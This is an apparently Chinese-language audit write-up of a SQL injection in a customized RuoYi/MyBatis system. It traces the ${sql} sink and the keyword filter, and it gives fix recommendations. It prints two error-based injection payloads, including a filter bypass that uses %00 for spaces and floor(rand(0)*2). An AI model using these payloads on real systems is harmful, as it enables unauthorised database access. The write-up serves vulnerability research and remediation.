一次若依二开系统代码审计
字数 700 2025-08-22 12:23:06

若依二开系统SQL注入漏洞审计与分析

一、系统概述

  • 系统基于若依(RuoYi)框架进行二次开发
  • 采用MyBatis作为ORM框架
  • 存在部分若依历史漏洞的过滤机制,但过滤不严格

二、漏洞描述

系统存在SQL注入漏洞,主要原因是:

  1. 使用了MyBatis的%{}语法
  2. 虽然实现了过滤机制,但过滤不彻底
  3. 导致攻击者可以构造特殊SQL语句绕过过滤

三、漏洞定位过程

1. 初始发现

  • 全局搜索%{语法,发现存在SQL注入风险点
  • 定位到直接使用${sql}语句的代码位置

2. 调用链追踪

  1. 向上跟踪路由,发现Controller层直接传入SQL语句
  2. 跟踪filterKeyword过滤函数

3. 过滤机制分析

系统过滤了以下关键字:

  • updatexml
  • extractvalue
  • sleep
  • *
  • 其他常见SQL注入关键词

四、漏洞利用方法

1. 原始若依框架绕过方法

原若依框架可使用payload:

CREATE table a1 as SELECT/**/extractvalue(1,concat(0x7e,(select/**/database()),0x7e))

2. 当前系统绕过方法

由于新增了过滤,使用替代payload:

CREATE table abc1 as SELECT-COUNT(*) FROM information_schema.tables GROUP BY CONCAT((SELECT%00USER%00()),floor(rand(0)*2))

3. 关键绕过技术

  1. 使用%00替代空格
  2. user%00()等价于user()函数
  3. 利用floor函数进行报错注入

五、漏洞修复建议

  1. 避免直接使用${}语法,改用#{}预编译
  2. 完善过滤机制,增加对%00等特殊字符的过滤
  3. 增加对floorrand等函数的过滤
  4. 实现参数化查询

六、参考资源

七、免责声明

  1. 本文仅供技术研究参考
  2. 使用相关技术需遵守《中华人民共和国网络安全法》
  3. 请勿用于非法用途
若依二开系统SQL注入漏洞审计与分析 一、系统概述 系统基于若依(RuoYi)框架进行二次开发 采用MyBatis作为ORM框架 存在部分若依历史漏洞的过滤机制,但过滤不严格 二、漏洞描述 系统存在SQL注入漏洞,主要原因是: 使用了MyBatis的 %{} 语法 虽然实现了过滤机制,但过滤不彻底 导致攻击者可以构造特殊SQL语句绕过过滤 三、漏洞定位过程 1. 初始发现 全局搜索 %{ 语法,发现存在SQL注入风险点 定位到直接使用 ${sql} 语句的代码位置 2. 调用链追踪 向上跟踪路由,发现Controller层直接传入SQL语句 跟踪 filterKeyword 过滤函数 3. 过滤机制分析 系统过滤了以下关键字: updatexml extractvalue sleep * 号 其他常见SQL注入关键词 四、漏洞利用方法 1. 原始若依框架绕过方法 原若依框架可使用payload: 2. 当前系统绕过方法 由于新增了过滤,使用替代payload: 3. 关键绕过技术 使用 %00 替代空格 user%00() 等价于 user() 函数 利用 floor 函数进行报错注入 五、漏洞修复建议 避免直接使用 ${} 语法,改用 #{} 预编译 完善过滤机制,增加对 %00 等特殊字符的过滤 增加对 floor 、 rand 等函数的过滤 实现参数化查询 六、参考资源 若依框架SQL过滤绕过分析: https://blog.takake.com/posts/7219/ 七、免责声明 本文仅供技术研究参考 使用相关技术需遵守《中华人民共和国网络安全法》 请勿用于非法用途